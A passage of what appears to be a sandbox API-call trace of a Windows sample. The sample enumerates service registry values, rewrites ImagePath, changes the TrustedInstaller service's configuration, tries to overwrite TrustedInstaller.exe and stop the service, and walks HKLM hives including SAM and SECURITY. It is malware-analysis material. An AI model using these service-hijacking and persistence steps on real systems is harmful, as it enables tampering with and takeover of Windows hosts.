| out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.241] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.241] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.241] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.241] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.241] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.241] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.241] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0244.241] RegSetValueExA (hKey=0x0, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData=0x21f1df0, cbData=0x6) returned 0x6 [0244.241] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0244.241] RegSetValueExA (hKey=0x0, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData=0x21f1df0, cbData=0x1) returned 0x6 [0244.241] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.241] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.242] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.242] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.242] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.242] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.242] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.242] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.242] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.242] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.242] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.242] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.242] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.242] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.243] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.243] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0244.243] RegSetValueExA (hKey=0x0, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData=0x21f1a00, cbData=0x1) returned 0x6 [0244.243] CommandLineToArgvW (in: lpCmdLine="", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\SFBHOP~1:bin" [0244.243] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0244.243] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3e8 [0244.243] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0244.243] LocalFree (hMem=0x7f03d0) returned 0x0 [0244.243] RegSetValueExA (hKey=0x0, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData=0x21f18e0, cbData=0x2f) returned 0x6 [0244.243] OpenServiceW (hSCManager=0x803918, lpServiceName="TrustedInstaller", dwDesiredAccess=0x2) returned 0x8038a0 [0244.244] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0244.245] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0244.245] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0244.245] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d498) returned 1 [0244.245] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0244.245] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.245] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d388) returned 1 [0244.245] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0244.245] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.245] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.245] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0244.245] RegCloseKey (hKey=0x154) returned 0x0 [0244.245] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0244.245] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0244.245] GetFileAttributesExW (in: lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bcf001f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bcf001f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bcf001f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2f600)) returned 1 [0244.245] CreateFileW (lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.245] GetLastError () returned 0x5 [0244.245] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0244.245] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.246] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0244.246] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0244.246] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0244.249] NtClose (Handle=0x154) returned 0x0 [0244.249] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0244.249] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0244.249] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0244.675] NtClose (Handle=0x154) returned 0x0 [0244.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0244.675] NtClose (Handle=0xc4) returned 0x0 [0244.676] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x2710) returned 0x0 [0244.762] NtClose (Handle=0x148) returned 0x0 [0244.762] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0244.762] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.762] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0244.762] GetFileAttributesExW (in: lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bcf001f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bcf001f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bcf001f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2f600)) returned 1 [0244.762] CreateFileW (lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.763] GetLastError () returned 0x5 [0244.763] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0244.763] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0244.763] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0244.763] OpenServiceW (hSCManager=0x803918, lpServiceName="TrustedInstaller", dwDesiredAccess=0x20) returned 0x803990 [0244.764] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0244.764] GetLastError () returned 0x426 [0244.764] CloseServiceHandle (hSCObject=0x803990) returned 1 [0244.764] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0244.765] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0244.765] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0244.765] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0244.765] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0244.765] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0244.765] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0244.765] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1da8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0244.765] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.765] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.765] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.765] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.765] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0244.765] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0244.765] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0244.765] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.765] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.765] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.765] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.765] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0244.765] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0244.765] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1da8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0244.765] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.765] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.765] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.766] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.766] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0244.766] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0244.766] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0244.766] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.766] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.766] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.766] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.766] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0244.766] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0244.766] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0244.766] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.766] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.766] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.766] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.766] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0244.766] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0244.766] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0244.766] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.766] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.766] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.766] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.766] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0244.766] RegCloseKey (hKey=0x80000002) returned 0x0 [0244.767] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0244.767] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0244.767] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1da8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0244.767] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.767] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.767] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.767] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.767] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0244.767] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0244.767] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1970, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0244.767] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.767] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.767] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.767] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.767] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0244.767] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0244.767] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1da8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0244.767] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.767] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.767] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.767] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.767] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0244.767] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0244.768] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 